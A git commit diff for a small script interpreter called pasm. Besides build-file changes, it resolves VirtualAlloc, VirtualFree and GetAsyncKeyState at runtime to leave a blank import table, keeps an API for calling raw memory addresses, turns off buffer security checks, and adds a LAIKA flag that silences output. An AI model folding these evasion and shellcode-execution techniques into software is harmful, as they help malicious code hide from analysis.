add: dynamic Windows APIs, blank IAT fix: misc & linux build
This commit is contained in:
2
.gitignore
vendored
2
.gitignore
vendored
@@ -4,6 +4,8 @@ x64/
|
|||||||
Debug/
|
Debug/
|
||||||
Release/
|
Release/
|
||||||
build/
|
build/
|
||||||
|
bin
|
||||||
|
obj
|
||||||
*.obj
|
*.obj
|
||||||
*.a
|
*.a
|
||||||
*.o
|
*.o
|
||||||
|
|||||||
32
Makefile
32
Makefile
@@ -1,38 +1,36 @@
|
|||||||
SRC = src/pasm.c \
|
SRC = src/pasm.c \
|
||||||
src/file_utils.c \
|
src/file_utils.c \
|
||||||
src/interpreter_states.c \
|
src/interpreter_states.c \
|
||||||
src/instructions.c \
|
src/instructions.c \
|
||||||
src/api.c \
|
src/api.c \
|
||||||
src/debug.c
|
src/debug.c \
|
||||||
|
src/libc.c
|
||||||
OBJ = $(SRC:.c=.o)
|
OBJ = $(SRC:.c=.o)
|
||||||
NAME = pasm
|
NAME = pasm
|
||||||
CC = gcc
|
CC = gcc
|
||||||
CFLAGS = -Wall -Wextra -Wpedantic -Iinclude -s -Os -fno-ident -fno-asynchronous-unwind-tables
|
CFLAGS = -Wall -Wextra -Wpedantic -Iinclude -s -Os -fno-ident -fno-asynchronous-unwind-tables
|
||||||
CLIBS = -lm
|
CLIBS = -lm
|
||||||
|
|
||||||
all: $(NAME)
|
all: $(NAME)
|
||||||
|
|
||||||
lib: $(OBJ)
|
lib: $(OBJ)
|
||||||
@-mkdir build
|
@mkdir -p build
|
||||||
ar rc build/lib$(NAME).a $(OBJ)
|
ar rc build/lib$(NAME).a $(OBJ)
|
||||||
|
|
||||||
$(NAME): fclean
|
|
||||||
$(NAME): lib
|
$(NAME): lib
|
||||||
$(NAME): CLIBS += build/lib$(NAME).a
|
$(CC) $(CFLAGS) -o build/$(NAME) tests/interpreter.c build/lib$(NAME).a $(CLIBS)
|
||||||
$(NAME):
|
|
||||||
$(CC) tests/interpreter.c $(CFLAGS) $(CLIBS) -o build/$(NAME)
|
|
||||||
|
|
||||||
interpreter: $(NAME)
|
interpreter: $(NAME)
|
||||||
|
|
||||||
clean:
|
clean:
|
||||||
@-rm -f $(OBJ)
|
@rm -f $(OBJ)
|
||||||
@-cd tests && $(MAKE) clean
|
@cd tests && $(MAKE) clean
|
||||||
|
|
||||||
fclean: clean
|
fclean: clean
|
||||||
@-rm -rf build/
|
@rm -rf build/
|
||||||
@-cd tests && $(MAKE) fclean
|
@cd tests && $(MAKE) fclean
|
||||||
|
|
||||||
re: fclean
|
re: fclean
|
||||||
re: $(NAME)
|
re: $(NAME)
|
||||||
|
|
||||||
.PHONY : all $(NAME) clean fclean re interpreter lib
|
.PHONY: all $(NAME) clean fclean re interpreter lib
|
||||||
@@ -21,7 +21,6 @@ jmp loop2
|
|||||||
|
|
||||||
main:
|
main:
|
||||||
mov a1, msg ; msg is a char *
|
mov a1, msg ; msg is a char *
|
||||||
|
|
||||||
loop:
|
loop:
|
||||||
cmp *a1, 0
|
cmp *a1, 0
|
||||||
jne 1
|
jne 1
|
||||||
|
|||||||
@@ -72,19 +72,19 @@
|
|||||||
<PropertyGroup Label="UserMacros" />
|
<PropertyGroup Label="UserMacros" />
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
<LinkIncremental>true</LinkIncremental>
|
<LinkIncremental>true</LinkIncremental>
|
||||||
<LibraryPath>$(SolutionDir)$(Configuration);$(LibraryPath)</LibraryPath>
|
<LibraryPath>..\bin;$(LibraryPath)</LibraryPath>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
<LinkIncremental>false</LinkIncremental>
|
<LinkIncremental>false</LinkIncremental>
|
||||||
<LibraryPath>$(SolutionDir)$(Configuration);$(LibraryPath)</LibraryPath>
|
<LibraryPath>..\bin;$(LibraryPath)</LibraryPath>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
<LinkIncremental>true</LinkIncremental>
|
<LinkIncremental>true</LinkIncremental>
|
||||||
<LibraryPath>$(SolutionDir)$(Platform)\$(Configuration);$(LibraryPath)</LibraryPath>
|
<LibraryPath>..\bin;$(LibraryPath)</LibraryPath>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
<LinkIncremental>false</LinkIncremental>
|
<LinkIncremental>false</LinkIncremental>
|
||||||
<LibraryPath>$(SolutionDir)$(Platform)\$(Configuration);$(LibraryPath)</LibraryPath>
|
<LibraryPath>..\bin;$(LibraryPath)</LibraryPath>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
<ClCompile>
|
<ClCompile>
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
<?xml version="1.0" encoding="utf-8"?>
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
<LocalDebuggerCommandArguments>../examples/shellcode.pasm</LocalDebuggerCommandArguments>
|
<LocalDebuggerCommandArguments>../examples/array.pasm</LocalDebuggerCommandArguments>
|
||||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
|||||||
@@ -72,15 +72,23 @@
|
|||||||
<PropertyGroup Label="UserMacros" />
|
<PropertyGroup Label="UserMacros" />
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
<LinkIncremental>true</LinkIncremental>
|
<LinkIncremental>true</LinkIncremental>
|
||||||
|
<OutDir>..\bin\</OutDir>
|
||||||
|
<IntDir>..\obj\</IntDir>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
<LinkIncremental>false</LinkIncremental>
|
<LinkIncremental>false</LinkIncremental>
|
||||||
|
<OutDir>..\bin\</OutDir>
|
||||||
|
<IntDir>..\obj\</IntDir>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
<LinkIncremental>true</LinkIncremental>
|
<LinkIncremental>true</LinkIncremental>
|
||||||
|
<OutDir>..\bin\</OutDir>
|
||||||
|
<IntDir>..\obj\</IntDir>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
<LinkIncremental>false</LinkIncremental>
|
<LinkIncremental>false</LinkIncremental>
|
||||||
|
<OutDir>..\bin\</OutDir>
|
||||||
|
<IntDir>..\obj\</IntDir>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
<ClCompile>
|
<ClCompile>
|
||||||
@@ -89,6 +97,9 @@
|
|||||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS</PreprocessorDefinitions>
|
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS</PreprocessorDefinitions>
|
||||||
<ConformanceMode>true</ConformanceMode>
|
<ConformanceMode>true</ConformanceMode>
|
||||||
<LanguageStandard_C>stdc17</LanguageStandard_C>
|
<LanguageStandard_C>stdc17</LanguageStandard_C>
|
||||||
|
<BasicRuntimeChecks>Default</BasicRuntimeChecks>
|
||||||
|
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||||
|
<ExceptionHandling>false</ExceptionHandling>
|
||||||
</ClCompile>
|
</ClCompile>
|
||||||
<Link>
|
<Link>
|
||||||
<SubSystem>Console</SubSystem>
|
<SubSystem>Console</SubSystem>
|
||||||
@@ -98,6 +109,11 @@
|
|||||||
<ExportNamedFunctions>pasm_run_script</ExportNamedFunctions>
|
<ExportNamedFunctions>pasm_run_script</ExportNamedFunctions>
|
||||||
</Lib>
|
</Lib>
|
||||||
</ItemDefinitionGroup>
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(LaikaBuild)' != ''">
|
||||||
|
<ClCompile>
|
||||||
|
<AdditionalOptions>/DLAIKA %(AdditionalOptions)</AdditionalOptions>
|
||||||
|
</ClCompile>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
<ClCompile>
|
<ClCompile>
|
||||||
<WarningLevel>Level3</WarningLevel>
|
<WarningLevel>Level3</WarningLevel>
|
||||||
@@ -111,6 +127,8 @@
|
|||||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||||
<DebugInformationFormat>None</DebugInformationFormat>
|
<DebugInformationFormat>None</DebugInformationFormat>
|
||||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
|
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||||
|
<ExceptionHandling>false</ExceptionHandling>
|
||||||
</ClCompile>
|
</ClCompile>
|
||||||
<Link>
|
<Link>
|
||||||
<SubSystem>Console</SubSystem>
|
<SubSystem>Console</SubSystem>
|
||||||
@@ -129,6 +147,9 @@
|
|||||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS</PreprocessorDefinitions>
|
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS</PreprocessorDefinitions>
|
||||||
<ConformanceMode>true</ConformanceMode>
|
<ConformanceMode>true</ConformanceMode>
|
||||||
<LanguageStandard_C>stdc17</LanguageStandard_C>
|
<LanguageStandard_C>stdc17</LanguageStandard_C>
|
||||||
|
<BasicRuntimeChecks>Default</BasicRuntimeChecks>
|
||||||
|
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||||
|
<ExceptionHandling>false</ExceptionHandling>
|
||||||
</ClCompile>
|
</ClCompile>
|
||||||
<Link>
|
<Link>
|
||||||
<SubSystem>Console</SubSystem>
|
<SubSystem>Console</SubSystem>
|
||||||
@@ -151,6 +172,8 @@
|
|||||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||||
<DebugInformationFormat>None</DebugInformationFormat>
|
<DebugInformationFormat>None</DebugInformationFormat>
|
||||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
|
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||||
|
<ExceptionHandling>false</ExceptionHandling>
|
||||||
</ClCompile>
|
</ClCompile>
|
||||||
<Link>
|
<Link>
|
||||||
<SubSystem>Console</SubSystem>
|
<SubSystem>Console</SubSystem>
|
||||||
@@ -168,6 +191,7 @@
|
|||||||
<ClCompile Include="..\src\file_utils.c" />
|
<ClCompile Include="..\src\file_utils.c" />
|
||||||
<ClCompile Include="..\src\instructions.c" />
|
<ClCompile Include="..\src\instructions.c" />
|
||||||
<ClCompile Include="..\src\interpreter_states.c" />
|
<ClCompile Include="..\src\interpreter_states.c" />
|
||||||
|
<ClCompile Include="..\src\libc.c" />
|
||||||
<ClCompile Include="..\src\pasm.c" />
|
<ClCompile Include="..\src\pasm.c" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
@@ -176,6 +200,7 @@
|
|||||||
<ClInclude Include="..\src\file_utils.h" />
|
<ClInclude Include="..\src\file_utils.h" />
|
||||||
<ClInclude Include="..\src\instructions.h" />
|
<ClInclude Include="..\src\instructions.h" />
|
||||||
<ClInclude Include="..\src\interpreter_states.h" />
|
<ClInclude Include="..\src\interpreter_states.h" />
|
||||||
|
<ClInclude Include="..\src\libc.h" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||||
<ImportGroup Label="ExtensionTargets">
|
<ImportGroup Label="ExtensionTargets">
|
||||||
|
|||||||
@@ -25,6 +25,9 @@
|
|||||||
<ClCompile Include="..\src\pasm.c">
|
<ClCompile Include="..\src\pasm.c">
|
||||||
<Filter>pasm</Filter>
|
<Filter>pasm</Filter>
|
||||||
</ClCompile>
|
</ClCompile>
|
||||||
|
<ClCompile Include="..\src\libc.c">
|
||||||
|
<Filter>pasm</Filter>
|
||||||
|
</ClCompile>
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<ClInclude Include="..\src\api.h">
|
<ClInclude Include="..\src\api.h">
|
||||||
@@ -42,5 +45,8 @@
|
|||||||
<ClInclude Include="..\src\interpreter_states.h">
|
<ClInclude Include="..\src\interpreter_states.h">
|
||||||
<Filter>pasm</Filter>
|
<Filter>pasm</Filter>
|
||||||
</ClInclude>
|
</ClInclude>
|
||||||
|
<ClInclude Include="..\src\libc.h">
|
||||||
|
<Filter>pasm</Filter>
|
||||||
|
</ClInclude>
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
</Project>
|
</Project>
|
||||||
@@ -72,19 +72,19 @@
|
|||||||
<PropertyGroup Label="UserMacros" />
|
<PropertyGroup Label="UserMacros" />
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
<LinkIncremental>true</LinkIncremental>
|
<LinkIncremental>true</LinkIncremental>
|
||||||
<LibraryPath>$(SolutionDir)$(Configuration);$(LibraryPath)</LibraryPath>
|
<LibraryPath>..\bin;$(LibraryPath);..\bin</LibraryPath>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
<LinkIncremental>false</LinkIncremental>
|
<LinkIncremental>false</LinkIncremental>
|
||||||
<LibraryPath>$(SolutionDir)$(Configuration);$(LibraryPath)</LibraryPath>
|
<LibraryPath>..\bin;$(LibraryPath);..\bin</LibraryPath>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
<LinkIncremental>true</LinkIncremental>
|
<LinkIncremental>true</LinkIncremental>
|
||||||
<LibraryPath>$(SolutionDir)$(Platform)\$(Configuration);$(LibraryPath)</LibraryPath>
|
<LibraryPath>$(SolutionDir)$(Platform)\$(Configuration);$(LibraryPath);..\bin</LibraryPath>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
<LinkIncremental>false</LinkIncremental>
|
<LinkIncremental>false</LinkIncremental>
|
||||||
<LibraryPath>$(SolutionDir)$(Platform)\$(Configuration);$(LibraryPath)</LibraryPath>
|
<LibraryPath>$(SolutionDir)$(Platform)\$(Configuration);$(LibraryPath);..\bin</LibraryPath>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
<ClCompile>
|
<ClCompile>
|
||||||
@@ -95,7 +95,7 @@
|
|||||||
<LanguageStandard_C>stdc17</LanguageStandard_C>
|
<LanguageStandard_C>stdc17</LanguageStandard_C>
|
||||||
</ClCompile>
|
</ClCompile>
|
||||||
<Link>
|
<Link>
|
||||||
<SubSystem>Windows</SubSystem>
|
<SubSystem>Console</SubSystem>
|
||||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
<AdditionalDependencies>pasm.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
<AdditionalDependencies>pasm.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||||
</Link>
|
</Link>
|
||||||
@@ -111,7 +111,7 @@
|
|||||||
<LanguageStandard_C>stdc17</LanguageStandard_C>
|
<LanguageStandard_C>stdc17</LanguageStandard_C>
|
||||||
</ClCompile>
|
</ClCompile>
|
||||||
<Link>
|
<Link>
|
||||||
<SubSystem>Windows</SubSystem>
|
<SubSystem>Console</SubSystem>
|
||||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||||
<OptimizeReferences>true</OptimizeReferences>
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
@@ -127,7 +127,7 @@
|
|||||||
<LanguageStandard_C>stdc17</LanguageStandard_C>
|
<LanguageStandard_C>stdc17</LanguageStandard_C>
|
||||||
</ClCompile>
|
</ClCompile>
|
||||||
<Link>
|
<Link>
|
||||||
<SubSystem>Windows</SubSystem>
|
<SubSystem>Console</SubSystem>
|
||||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
<AdditionalDependencies>pasm.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
<AdditionalDependencies>pasm.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||||
</Link>
|
</Link>
|
||||||
@@ -143,7 +143,7 @@
|
|||||||
<LanguageStandard_C>stdc17</LanguageStandard_C>
|
<LanguageStandard_C>stdc17</LanguageStandard_C>
|
||||||
</ClCompile>
|
</ClCompile>
|
||||||
<Link>
|
<Link>
|
||||||
<SubSystem>Windows</SubSystem>
|
<SubSystem>Console</SubSystem>
|
||||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||||
<OptimizeReferences>true</OptimizeReferences>
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
|||||||
97
src/api.c
97
src/api.c
@@ -6,6 +6,7 @@
|
|||||||
#endif
|
#endif
|
||||||
|
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
#include "libc.h"
|
||||||
|
|
||||||
#ifdef _WIN32
|
#ifdef _WIN32
|
||||||
extern int dprintf(int stream, const char *format, ...);
|
extern int dprintf(int stream, const char *format, ...);
|
||||||
@@ -17,8 +18,8 @@ void api_put() {
|
|||||||
|
|
||||||
int f = fstream;
|
int f = fstream;
|
||||||
#ifdef _WIN32
|
#ifdef _WIN32
|
||||||
if (f == _fileno(stderr))
|
if (f == 2) //stderr (could use _fileno(stderr) but it uses the stdlib)
|
||||||
f = _fileno(stdout);
|
f = 1; //stdout
|
||||||
#else
|
#else
|
||||||
if (f == fileno(stderr))
|
if (f == fileno(stderr))
|
||||||
f = fileno(stdout);
|
f = fileno(stdout);
|
||||||
@@ -31,46 +32,68 @@ void api_put() {
|
|||||||
dprintf(f, "%c", c); //using printf and not write because of the buffer
|
dprintf(f, "%c", c); //using printf and not write because of the buffer
|
||||||
}
|
}
|
||||||
else {
|
else {
|
||||||
dprintf(f, "%lld", state->STACK[state->STACK_IDX--]);
|
#ifdef _WIN32
|
||||||
|
dprintf(f, "%ld", state->STACK[state->STACK_IDX--]);
|
||||||
|
#else
|
||||||
|
dprintf(f, "%lld", state->STACK[state->STACK_IDX--]);
|
||||||
|
#endif
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
void api_getasynckeystate() {
|
|
||||||
#ifdef _WIN32
|
|
||||||
state->registers->eax = GetAsyncKeyState((int)state->STACK[state->STACK_IDX--]);
|
|
||||||
#else
|
|
||||||
state->STACK_IDX--;
|
|
||||||
state->registers->eax = 1;
|
|
||||||
#endif
|
|
||||||
}
|
|
||||||
|
|
||||||
void api_virtualalloc() {
|
|
||||||
#ifdef _WIN32
|
|
||||||
long long address = state->STACK[state->STACK_IDX--];
|
|
||||||
long long size = state->STACK[state->STACK_IDX--];
|
|
||||||
long long alloctype = state->STACK[state->STACK_IDX--];
|
|
||||||
long long flprotect = state->STACK[state->STACK_IDX--];
|
|
||||||
state->registers->eax = (long long)VirtualAlloc((LPVOID)address, (SIZE_T)size, (DWORD)alloctype, (DWORD)flprotect);
|
|
||||||
#else
|
|
||||||
state->STACK_IDX -= 4;
|
|
||||||
state->registers->eax = 1;
|
|
||||||
#endif
|
|
||||||
}
|
|
||||||
|
|
||||||
void api_virtualfree() {
|
|
||||||
#ifdef _WIN32
|
|
||||||
long long address = state->STACK[state->STACK_IDX--];
|
|
||||||
long long size = state->STACK[state->STACK_IDX--];
|
|
||||||
long long freetype = state->STACK[state->STACK_IDX--];
|
|
||||||
state->registers->eax = VirtualFree((LPVOID)address, (SIZE_T)size, (DWORD)freetype);
|
|
||||||
#else
|
|
||||||
state->STACK_IDX -= 3;
|
|
||||||
state->registers->eax = 1;
|
|
||||||
#endif
|
|
||||||
}
|
|
||||||
|
|
||||||
void api_callrawaddr() {
|
void api_callrawaddr() {
|
||||||
long long address = state->STACK[state->STACK_IDX--];
|
long long address = state->STACK[state->STACK_IDX--];
|
||||||
|
|
||||||
((void (*)())address)();
|
((void (*)())address)();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// generated APIs here
|
||||||
|
|
||||||
|
#ifdef _WIN32
|
||||||
|
typedef LPVOID(WINAPI *fVirtualAlloc)(LPVOID, DWORD, DWORD, DWORD);
|
||||||
|
#endif
|
||||||
|
void api_VirtualAlloc(void) {
|
||||||
|
#ifdef _WIN32
|
||||||
|
fVirtualAlloc pVirtualAlloc = GetApi(L"kernel32.dll", "VirtualAlloc");
|
||||||
|
long long arg0 = state->STACK[state->STACK_IDX--];
|
||||||
|
long long arg1 = state->STACK[state->STACK_IDX--];
|
||||||
|
long long arg2 = state->STACK[state->STACK_IDX--];
|
||||||
|
long long arg3 = state->STACK[state->STACK_IDX--];
|
||||||
|
state->registers->eax = (long long)pVirtualAlloc((LPVOID)arg0, (DWORD)arg1, (DWORD)arg2, (DWORD)arg3);
|
||||||
|
#else
|
||||||
|
state->STACK_IDX -= 4;
|
||||||
|
state->registers->eax = 1;
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
#ifdef _WIN32
|
||||||
|
typedef BOOL(WINAPI *fVirtualFree)(LPVOID, DWORD, DWORD);
|
||||||
|
#endif
|
||||||
|
void api_VirtualFree(void) {
|
||||||
|
#ifdef _WIN32
|
||||||
|
fVirtualFree pVirtualFree = GetApi(L"kernel32.dll", "VirtualFree");
|
||||||
|
long long arg0 = state->STACK[state->STACK_IDX--];
|
||||||
|
long long arg1 = state->STACK[state->STACK_IDX--];
|
||||||
|
long long arg2 = state->STACK[state->STACK_IDX--];
|
||||||
|
state->registers->eax = (long long)pVirtualFree((LPVOID)arg0, (DWORD)arg1, (DWORD)arg2);
|
||||||
|
#else
|
||||||
|
state->STACK_IDX -= 3;
|
||||||
|
state->registers->eax = 1;
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
#ifdef _WIN32
|
||||||
|
typedef SHORT(WINAPI *fGetAsyncKeyState)(int);
|
||||||
|
#endif
|
||||||
|
void api_GetAsyncKeyState(void) {
|
||||||
|
#ifdef _WIN32
|
||||||
|
fGetAsyncKeyState pGetAsyncKeyState = GetApi(L"user32.dll", "GetAsyncKeyState");
|
||||||
|
long long arg0 = state->STACK[state->STACK_IDX--];
|
||||||
|
state->registers->eax = (long long)pGetAsyncKeyState((int)arg0);
|
||||||
|
#else
|
||||||
|
state->STACK_IDX -= 1;
|
||||||
|
state->registers->eax = 1;
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
|
|||||||
20
src/api.h
20
src/api.h
@@ -2,17 +2,25 @@
|
|||||||
#include "instructions.h"
|
#include "instructions.h"
|
||||||
|
|
||||||
void api_put();
|
void api_put();
|
||||||
void api_getasynckeystate();
|
|
||||||
void api_virtualalloc();
|
|
||||||
void api_virtualfree();
|
|
||||||
void api_callrawaddr();
|
void api_callrawaddr();
|
||||||
|
|
||||||
|
// generated APIs here
|
||||||
|
void api_VirtualAlloc();
|
||||||
|
void api_VirtualFree();
|
||||||
|
void api_GetAsyncKeyState();
|
||||||
|
|
||||||
|
//end
|
||||||
|
|
||||||
static const command_t api_map[] = {
|
static const command_t api_map[] = {
|
||||||
{.command = "put", .fptr = api_put},
|
{.command = "put", .fptr = api_put},
|
||||||
{.command = "GetAsyncKeyState", .fptr = api_getasynckeystate},
|
|
||||||
{.command = "VirtualAlloc", .fptr = api_virtualalloc},
|
|
||||||
{.command = "VirtualFree", .fptr = api_virtualfree},
|
|
||||||
{.command = "CallRawAddress", .fptr = api_callrawaddr},
|
{.command = "CallRawAddress", .fptr = api_callrawaddr},
|
||||||
|
|
||||||
|
// generated APIs here
|
||||||
|
{.command = "VirtualAlloc", .fptr = api_VirtualAlloc},
|
||||||
|
{.command = "VirtualFree", .fptr = api_VirtualFree},
|
||||||
|
{.command = "GetAsyncKeyState", .fptr = api_GetAsyncKeyState},
|
||||||
|
|
||||||
|
//end
|
||||||
|
|
||||||
{.command = NULL, .fptr = NULL}
|
{.command = NULL, .fptr = NULL}
|
||||||
};
|
};
|
||||||
|
|||||||
23
src/debug.c
23
src/debug.c
@@ -2,9 +2,11 @@
|
|||||||
#include "interpreter_states.h"
|
#include "interpreter_states.h"
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <string.h>
|
#include <string.h>
|
||||||
|
#include "libc.h"
|
||||||
#include "debug.h"
|
#include "debug.h"
|
||||||
|
|
||||||
void show_registers() {
|
void show_registers() {
|
||||||
|
#ifndef LAIKA
|
||||||
printf("--Registers--\n");
|
printf("--Registers--\n");
|
||||||
printf("a1: %-3lld | ", state->registers->a1);
|
printf("a1: %-3lld | ", state->registers->a1);
|
||||||
printf("a2: %-3lld | ", state->registers->a2);
|
printf("a2: %-3lld | ", state->registers->a2);
|
||||||
@@ -16,25 +18,31 @@ void show_registers() {
|
|||||||
printf("a8: %-3lld | ", state->registers->a8);
|
printf("a8: %-3lld | ", state->registers->a8);
|
||||||
printf("a9: %-3lld\n", state->registers->a9);
|
printf("a9: %-3lld\n", state->registers->a9);
|
||||||
printf("eax: %-3lld\n\n", state->registers->eax);
|
printf("eax: %-3lld\n\n", state->registers->eax);
|
||||||
|
#endif
|
||||||
}
|
}
|
||||||
|
|
||||||
void show_stack() {
|
void show_stack() {
|
||||||
|
#ifndef LAIKA
|
||||||
printf("--STACK--\n");
|
printf("--STACK--\n");
|
||||||
printf("Elements: %d\n\n", state->STACK_IDX);
|
printf("Elements: %d\n\n", state->STACK_IDX);
|
||||||
for (int i = 0; i < state->STACK_IDX; i++)
|
for (int i = 0; i < state->STACK_IDX; i++)
|
||||||
printf("[%d]: %lld\n", i, state->STACK[state->STACK_IDX]);
|
printf("[%d]: %lld\n", i, state->STACK[state->STACK_IDX]);
|
||||||
printf("\n");
|
printf("\n");
|
||||||
|
#endif
|
||||||
}
|
}
|
||||||
|
|
||||||
void show_labels() {
|
void show_labels() {
|
||||||
|
#ifndef LAIKA
|
||||||
printf("\n\n-----LABELS-----\n");
|
printf("\n\n-----LABELS-----\n");
|
||||||
printf("format:\tlabel|line\n");
|
